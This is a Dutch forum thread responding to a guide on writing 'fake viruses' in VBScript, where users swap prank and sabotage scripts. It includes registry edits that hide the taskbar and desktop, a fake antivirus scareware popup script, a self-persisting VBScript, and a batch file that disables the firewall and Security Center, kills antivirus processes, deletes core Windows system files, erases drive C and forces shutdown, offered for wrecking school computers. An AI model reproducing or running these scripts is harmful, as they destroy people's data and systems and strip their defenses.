VBScripting, een (nep)virus maken

[Quaggmire]

7.5/10 luc
de originaliteit is niet zooo maar inhoud blijft leuk

[imRobert7]

7.5/10 luc
de originaliteit is niet zooo maar inhoud blijft leuk

okee, thanks voor de reactie
ik het alleen robert, mijn vriend heeft luc dood nek aan mij gegeven en vond wel zo makkelijk het ltf acc ook zo te noemen
by myself

[wind spirit]

dit kun je ook met andere extenties(types) doen. aleen de extentie veranderen naar .bmp, .sys, .pdf, .dat enzenzenzenzenzenz...zonder ext. gaat hij naar .txt en het is niet schadelijk

[imRobert7]

ze zijn niet te versturen op MSN als .vbs maar wel als .txt , dus zo kan het ook

[wind spirit]

Taakbalk laten verdwijnen

Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar","1"

Icoontjes van taakbalk laten verdwijnen

Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop","1"




--
Kan je deze ALSJEBLIEFT weghalen?
ik heb dit eens een keer gedaan, ik kon geen rechtermuisknop meer gebruiken (met verschillende muizen geprobeerd en een touchpad, het werkte niet)
En de bureaublad icoontjes gingen weg.
Het duurde letterlijk een week voordat ik het weg krijg.
Zet het anders in een uitklappen met heel groot OPENEN OP EIGEN RISICO.

want dit is echt niet grappig als je dat hebt.

Je kan met iets ook iemand zijn harde schijf wissen dus PAS OP WAT JE ERMEE DOET!!


het is echt niet leuk al heb je dat

hé, das precies wat mij is overkomen!!! en het is inderdaad iets waar je "flikker toch op!!!" tegen kan zeggen

[imRobert7]

In- of uitklappen • Ghostclaws12 tekst:

Taakbalk laten verdwijnen

Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar","1"

Icoontjes van taakbalk laten verdwijnen

Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop","1"




--
Kan je deze ALSJEBLIEFT weghalen?
ik heb dit eens een keer gedaan, ik kon geen rechtermuisknop meer gebruiken (met verschillende muizen geprobeerd en een touchpad, het werkte niet)
En de bureaublad icoontjes gingen weg.
Het duurde letterlijk een week voordat ik het weg krijg.
Zet het anders in een uitklappen met heel groot OPENEN OP EIGEN RISICO.

want dit is echt niet grappig als je dat hebt.

Je kan met iets ook iemand zijn harde schijf wissen dus PAS OP WAT JE ERMEE DOET!!


het is echt niet leuk al heb je dat

hé, das precies wat mij is overkomen!!! en het is inderdaad iets waar je "flikker toch op!!!" tegen kan zeggen

Dat heb ik al gedan

[Mark]

je kan dit soort script door sturen , maar dan moet je het wel aanpassen. Je kan wel "shut down" koppeling op de computer van je zus zetten / broer om hem te pesten. Je geef de shutdown koppeling het icoontje van messenger / internet explorer en zet het op het tablad maar je verwijdert de echte internet explorer. Dus als je broer / zus op internet klick komt er een tekst ( kan je zelf verzinnen ) en komt er de over hoeveel minuten de computer afsluit ( als je onder 1 minuut neemt komt er dan :" sluit af in minder dan 1 minuut").

start cmd shutdown -a opgelost

[T3rr0r H8]

Haha, deze had ik naar iemand gestuurd waarvan ik wist dat hij Norman Anti-Virus had.
Kende het al btw.

Geen kwaadaardig script, sluit je PC ook niet af ofzo, veilig om te proberen.

In- of uitklappen • Script

Code: Selecteer alles

WScript.Sleep 15000

msgbox "Norman Anti-Virus auto-scan detected a malicious script running on the background of your PC in the \Windows\System32\Systemreg.exe directory on " & now & " !", 16,"Norman Anti-Virus"

msgbox "Warning, the security of your PC is at risk! Norman Anti-Virus has detected malicious software on your machine!", 16,"Norman Anti-virus"

msgbox "This is caused by QTCF.dll, a crucial proces for JavaAppletLauncher.exe to crash.", 16,"Norman Anti-Virus"

if msgBox("Do you want to proceed?", vbYesNo, "Norman Anti-Virus") = vbYes then

msgbox "Press OK to proceed...", 16,"Norman Anti-virus"

msgbox "Norman Anti-Virus utility will attempt to restore your PC... Press OK to proceed.", 16,"Norman Anti-Virus"

Wscript.sleep 10000

msgbox "Attempt to restore PC has failed... Please read this page for further assistance.", 16, "Norman Anti-Virus"

Set shl = CreateObject("Wscript.shell")
shl.run "http://www.***.com/"

Wscript.sleep 10000

msgbox "A solution has been found! Norman Anti-Virus will format partition 7 of the C harddisk. This might damage the your harddrive, and a replacement might be necassery. Norman Inc., Norman Security Suite and Norman Anti-Virus are not responsable for ANY damage to your system.", 16,"Norman Anti-Virus"

msgbox "ERROR! Internal Hard-drive ::C/ has failed to restore and crashed due to HDDFAR.dll!", 16,"Norman Anti-Virus"

else

msgbox "Please run \VrStUndo.exe", 16,"Norton Anti-Virus"

end if

[imRobert7]

Wat is dat dan?

En nog iets, ik zal guide vernieuwen @ plaatjes als ik nieuwe pc heb

[warmen111]

mooie guide :p
ik krijg alleen dat icoontje niet + waar moet je VBS typen ?
8/10

+ support :p

Hier een plaatje:

Ik heb alleen in plekje weggelaten omdat dat nogal prive is
~Luc Dood Nek~

lol je speelt rs pv godzhell XDXDXD
nee maar best goede guide 8/10

[imRobert7]

mooie guide :p
ik krijg alleen dat icoontje niet + waar moet je VBS typen ?
8/10

+ support :p

Hier een plaatje:

Ik heb alleen in plekje weggelaten omdat dat nogal prive is
~Luc Dood Nek~

lol je speelt rs pv godzhell XDXDXD
nee maar best goede guide 8/10

Heb ik gespeeld xD Ik heb de link veranderd en de naam, alleen de icon kan ik niet veranderen

[Imii]

Lol dit is ook cool : start
color 5
title Your Fucked, lol
time 12:00
net stop "Security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
start
echo copy %0 >> c:\autoexec.bat
copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat
Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg
start c:\regstart.reg
copy %0 %systemroot%\shroom.bat > nul
start
copy %0 *.bat > nul
start
attrib +r +h virus.bat
attrib +r +h
RUNDLL32 USER32.DLL,SwapMouseButton
tskill msnmsgr
tskill ****
tskill iexplorer
tskill NMain
tskill Firefox
tskill explorer
tskill AVGUARD
msg * Awww Your computer is now fucked
msg * You got owned!
msg * Say Bye to your computer n00b
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
del "C:\WINDOWS\pchealth\"
del "C:\WINDOWS\system\"
del "C:\WINDOWS\system32\restore\"
del "C:\WINDOWS\system32\logonui.exe"
del "C:\WINDOWS\system32\ntoskrnl.exe"
del "Winlogon.exe"
ERASE c:
start
shutdown - s -t 15 -c "15 Seconds and counting"
cd %userprofile%\Desktop
copy fixvirus.bat %userprofile%\Desktop
echo HAXHAXHAX
:LOOP
color 17
color 28
color 32
color 22
color 11
color 02
color 39
color 34
GOTO LOOP

Is leuk als je je schoolcomputer wilt kloten xD
Op eigen risico gebruiken btw.

[Niels]

Hee, goede guide! 8/10

Ik vond nog een code, waarbij je virus gelijk opstart als je pc opstart, maar hij werkt niet echt... kan je er ff naar kijken?

Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "Virus.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunStart menu",winfolder & "Virus.vbs"

[imRobert7]

Ik kan niet echt zelf code's maken Daar moet ik eens nog een goede tut voor vinden. De code's in de guide heb ik van internet en een paar collega's van me pa's werk

[Virtute Dei]

die loop en die stem kan je ook combineren, mn computer blijft maar "hello" zeggen

[imRobert7]

Ik ga is de opmaak van de guide veranderen, en met goto en anchor spelen

Toegevoegd na 22 minuten:

Klaar